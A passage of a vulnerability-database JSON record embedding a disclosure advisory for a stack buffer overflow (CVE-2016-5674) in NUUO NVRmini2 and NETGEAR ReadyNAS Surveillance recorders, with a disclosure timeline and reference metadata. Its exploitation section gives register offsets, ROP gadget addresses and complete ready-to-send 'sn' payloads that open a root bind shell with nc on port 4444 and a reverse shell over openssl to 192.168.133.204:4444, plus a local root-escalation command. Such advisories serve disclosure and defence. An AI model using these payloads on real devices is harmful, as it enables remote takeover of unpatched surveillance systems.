aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n\n\u003e A core file is generated:\nCore was generated by `/NUUO/bin/cgi_main\u0027. \nProgram terminated with signal SIGSEGV, Segmentation fault. \n#0 0x61616160 in ?? ()\n(gdb) i r\nr0 0x0\t0\nr1 0x0\t0\nr2 0x407aa4d0\t1081779408\nr3 0x407aa9e0\t1081780704\nr4 0x61616161\t1633771873\nr5 0x61616161\t1633771873\nr6 0x61616161\t1633771873\nr7 0x61616161\t1633771873\nr8 0x331fc8\t3350472\nr9 0x1\t1\nr10 0x33db54\t3398484\nr11 0x0\t0\nr12 0x1\t1\nsp 0xbedce528\t0xbedce528\nlr 0x61616161\t1633771873\npc 0x61616160\t0x61616160\ncpsr 0x60000030\t1610612784\n(gdb) \n\nThe request can be sent by an HTTP GET or POST method. \n\n\u003e A few registers can be controlled with the sn parameter, as it can be seen in the diagram below for the NVRmini2:\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4444555566667777PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS\n\naaaa: filler\nPPPP: pc / lr register content, offset 976\n4444: r4 register content, offset 962\n5555: r5 register content, offset 966\n6666: r6 register content, offset 970\n7777: r7 register content, offset 974\nSSSS: start of stack pointer, offset 992\n\n\u003e On the ReadyNAS Surveillance one additional register (r8) can be controlled:\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa44445555666677778888PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS\n\naaaa: filler\nPPPP: pc / lr register content, offset 986\n4444: r4 register content, offset 968\n5555: r5 register content, offset 970\n6666: r6 register content, offset 974\n7777: r7 register content, offset 978\n8888: r8 register content, offset 982\nSSSS: start of stack pointer, offset 1002\n\n\u003e Exploit mitigations and constraints\nThe table below shows the exploit mitigation technologies for each target:\n NVRmini2 ReadyNAS\nNX Y Y\nRELRO Partial Partial\nASLR N Y\n\nAn additional constraint to keep in mind is that there can be no null bytes in the exploit as the vulnerability is in the sprintf copy operation (which uses a null byte as the string terminator). \n\n\u003e Exploitation in the NVRmini2 (firmware v3.0.0):\nThis example exploit creates a root bind shell on port 4444 using ROP gadgets to bypass NX. The gadgets were taken from libc-2.15.so, which is always loaded at 4066c000 in firmware 3.0.0. \n\n0x00018ba0 : pop {r3, lr} ; bx lr -\u003e located at 40684BA0 (first gadget, sets up r3 for the next gadget)\n0x000f17cc : mov r0, sp ; blx r3 -\u003e located at 4075D7CC (second gadget, set up args for system)\n0x00039ffc : system() -\u003e located at 406A5FFC (takes the argument from r0 - pointing to sp - and executes it)\nPayload (in the stack) -\u003e %6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 (\"nc -l -p 4444 -e /bin/sh \u0026\")\n\nIllustration:\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{first_gadget}aaaaaaaaaaaa{system()_address}{second_gadget}{stack}\n\nExploit for NVRmini2 firmware v3.0.0 (\"sn\" parameter value):\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%a0%4b%68%40aaaaaaaaaaaa%fc%5f%6a%40%cc%d7%75%40%6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26\n\nOther firmware versions will have different gadget addresses. On version 3.0.0 it should work without any modification. \n\n\u003e Exploitation on ReadyNAS Surveillance (version v1.1.2):\nTo develop this example exploit libcrypto.so.0.9.8 was used. The library is loaded at B6xxx000, where xxx are 4096 possible values for the memory address, as the ReadyNAS has a weak form of ASLR. For this exploit, B6CCE000 was chosen as the target base address (this was chosen randomly from a sample of collected base addresses). \n\nThe exploit connects a reverse shell to 192.168.133.204:4444 using OpenSSL. The following ROP gadgets were used:\n0x000b3d9c : mov r1, sp ; mov r2, ip ; blx r6 -\u003e located at B6D81D9C (first gadget, gets the location of the stack pointer sp, where the shellcode is located, in r1)\n0x00008690 : movs r0, r1 ; movs r0, r0 ; movs r2, r2 ; movs r2, r1 ; bx r7 -\u003e located at B6CD6691 as this is a THUMB mode gadget (second gadget, sets up the arguments to system(), putting them into r0)\n0xb6ef91bc: fixed system() address when B6CCE000 is chosen as the base address of libcrypto.so.0.9.8 (takes the argument from r0 - pointing to sp - and executes it)\nPayload: (in the stack) -\u003e %6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26 (\"mkfifo /tmp/s; /bin/bash -i \u003c /tmp/s 2\u003e\u00261 | openssl s_client -quiet -connect 192.168.133.204:4444 \u003e /tmp/s; rm /tmp/s \u0026\")\n\nIllustration:\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{second_gadget}{system_address}aaaa{first_gadget}aaaaaaaaaaaa{payload}\n\nExploit for ReadyNAS Surveillance v1.1.2 (\"sn\" parameter value):\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%91%66%cd%b6%bc%91%ef%b6aaaa%9c%1d%d8%b6aaaaaaaaaaaa%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26\n\nNote that due to the ASLR in the ReadyNAS his exploit has be attempted at few times in order for it to work. Usually less than 20 tries is enough to get the reverse shell to connect back. \n\n\u003e Local exploitation:\nThis vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command:\nCGI_DEBUG=qwe23622260 cgi_main transfer_license \u0027method=offline\u0026sn=\u003cPAYLOAD\u003e\u0027\nThe cgi_main binary is located at \"/apps/surveillance/bin/cgi_main\" on the ReadyNAS and \"/NUUO/bin/cgi_main\" on the NVRmini2. \n\nIt is likely that all other vulnerabilities in this advisory are exploitable by a local attacker, however this has only been tested for the stack buffer overflow. \n\n\n\u003e\u003e Fix: \nNETGEAR and Nuuo did not respond to CERT/CC coordination efforts (see Timeline below), so no fix is available. \nDo not expose any of these devices to the Internet or any networks with unstrusted hosts. \n\nTimeline:\n28.02.2016: Disclosure to CERT/CC. \n27.04.2016: Requested status update from CERT - they did not receive any response from vendors. \n06.06.2016: Requested status update from CERT - still no response from vendors. \n Contacted Nuuo and NETGEAR directly. NETGEAR responded with their \"Responsible Disclosure Guidelines\", to which I did not agree and requested them to contact CERT if they want to know the details about the vulnerabilities found. No response from Nuuo. \n13.06.2016: CERT sent an update saying that NETGEAR has received the details of the vulnerabilities, and they are attempting to contact Nuuo via alternative channels. \n07.07.2016: CERT sent an update saying that they have not received any follow up from both Nuuo and NETGEAR, and that they are getting ready for disclosure. \n17.07.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn\u0027t receive a response or status update. No response received. \n01.08.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn\u0027t receive a response or status update. No response received. \n04.08.2016: Coordinated disclosure with CERT. \n\n\n\u003e\u003e References:\n[1] https://www.kb.cert.org/vuls/id/856152\n\n\n================\nAgile Information Security Limited\nhttp://www.agileinfosec.co.uk/\n\u003e\u003e Enabling secure digital business \u003e\u003e\n\n",
"sources": [
{
"db": "NVD",
"id": "CVE-2016-5674"
},
{
"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004488"
},
{
"db": "CNVD",
"id": "CNVD-2016-06368"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "VULHUB",
"id": "VHN-94493"
},
{
"db": "VULMON",
"id": "CVE-2016-5674"
},
{
"db": "PACKETSTORM",
"id": "138199"
}
],
"trust": 3.42
},
"exploit_availability": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"reference": "https://www.scap.org.cn/vuln/vhn-94493",
"trust": 0.1,
"type": "unknown"
},
{
"reference": "https://vulmon.com/exploitdetails?qidtp=exploitdb\u0026qid=40200",
"trust": 0.1,
"type": "exploit"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-94493"
},
{
"db": "VULMON",
"id": "CVE-2016-5674"
}
]
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "CERT/CC",
"id": "VU#856152",
"trust": 3.8
},
{
"db": "NVD",
"id": "CVE-2016-5674",
"trust": 3.6
},
{
"db": "BID",
"id": "92318",
"trust": 2.7
},
{
"db": "EXPLOIT-DB",
"id": "40200",
"trust": 1.2
},
{
"db": "JVN",
"id": "JVNVU97220922",
"trust": 0.8
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004488",
"trust": 0.8
},
{
"db": "CNVD",
"id": "CNVD-2016-06368",
"trust": 0.6
},
{
"db": "CNNVD",
"id": "CNNVD-201608-268",
"trust": 0.6
},
{
"db": "PACKETSTORM",
"id": "138199",
"trust": 0.2
},
{
"db": "PACKETSTORM",
"id": "138287",
"trust": 0.1
},
{
"db": "VULHUB",
"id": "VHN-94493",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2016-5674",
"trust": 0.1
}
],
"sources": [
{
"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "CNVD",
"id": "CNVD-2016-06368"
},
{
"db": "VULHUB",
"id": "VHN-94493"
},
{
"db": "VULMON",
"id": "CVE-2016-5674"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004488"
},
{
"db": "PACKETSTORM",
"id": "138199"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-268"
},
{
"db": "NVD",
"id": "CVE-2016-5674"
}
]
},
"id": "VAR-201608-0087",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2016-06368"
},
{
"db": "VULHUB",
"id": "VHN-94493"
}
],
"trust": 1.528304092
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2016-06368"
}
]
},
"last_update_date": "2024-11-23T21:42:53.134000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "ReadyNAS Surveillance",
"trust": 0.8,
"url": "https://www.netgear.com/business/products/storage/readynas/readynas-surveillance.aspx"
},
{
"title": "NUUO NVRmini 2",
"trust": 0.8,
"url": "http://www.nuuo.com/ProductNode.php?node=2"
},
{
"title": "NUUO NVRsolo",
"trust": 0.8,
"url": "http://www.nuuo.com/ProductNode.php?stid=0002\u0026node=13"
},
{
"title": "Patches for multiple NUUO and NetGear product privilege escalation vulnerabilities",
"trust": 0.6,
"url": "https://www.cnvd.org.cn/patchInfo/show/80484"
},
{
"title": "The Register",
"trust": 0.2,
"url": "https://www.theregister.co.uk/2016/08/07/nuuo_netgear_surveillance_recorders_riddled_with_0days/"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2016-06368"
},
{
"db": "VULMON",
"id": "CVE-2016-5674"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004488"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-20",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-94493"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004488"
},
{
"db": "NVD",
"id": "CVE-2016-5674"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 3.1,
"url": "http://www.kb.cert.org/vuls/id/856152"
},
{
"trust": 2.4,
"url": "http://www.securityfocus.com/bid/92318"
},
{
"trust": 1.6,
"url": "https://raw.githubusercontent.com/pedrib/poc/master/advisories/nuuo-nvr-vulns.txt"
},
{
"trust": 1.3,
"url": "https://www.exploit-db.com/exploits/40200/"
},
{
"trust": 0.9,
"url": "https://cwe.mitre.org/data/definitions/20.html"
},
{
"trust": 0.8,
"url": "http://www.nuuo.com/productnode.php?stid=0001\u0026node=2"
},
{
"trust": 0.8,
"url": "http://www.nuuo.com/productnode.php?stid=0002\u0026node=13"
},
{
"trust": 0.8,
"url": "http://www.nuuo.com/productnode.php?stid=0001\u0026node=14"
},
{
"trust": 0.8,
"url": "https://www.netgear.com/business/products/storage/readynas/readynas-surveillance.aspx"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/285.html"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/200.html"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/798.html"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/78.html"
},
{
"trust": 0.8,
"url": "https://cwe.mitre.org/data/definitions/121.html"
},
{
"trust": 0.8,
"url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2016-5674"
},
{
"trust": 0.8,
"url": "http://jvn.jp/vu/jvnvu97220922/index.html"
},
{
"trust": 0.8,
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2016-5674"
},
{
"trust": 0.3,
"url": "http://www.netgear.com"
},
{
"trust": 0.3,
"url": "http://www.nuuo.com/"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "https://www.rapid7.com/db/modules/exploit/linux/http/nuuo_nvrmini_unauth_rce"
},
{
"trust": 0.1,
"url": "https://www.theregister.co.uk/2016/08/07/nuuo_netgear_surveillance_recorders_riddled_with_0days/"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5674"
},
{
"trust": 0.1,
"url": "https://www.cert.org/)"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5678"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5680"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5677"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5679"
},
{
"trust": 0.1,
"url": "http://www.agileinfosec.co.uk/)"
},
{
"trust": 0.1,
"url": "http://www.agileinfosec.co.uk/"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5676"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2016-5675"
}
],
"sources": [
{
"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "CNVD",
"id": "CNVD-2016-06368"
},
{
"db": "VULHUB",
"id": "VHN-94493"
},
{
"db": "VULMON",
"id": "CVE-2016-5674"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004488"
},
{
"db": "PACKETSTORM",
"id": "138199"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-268"
},
{
"db": "NVD",
"id": "CVE-2016-5674"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
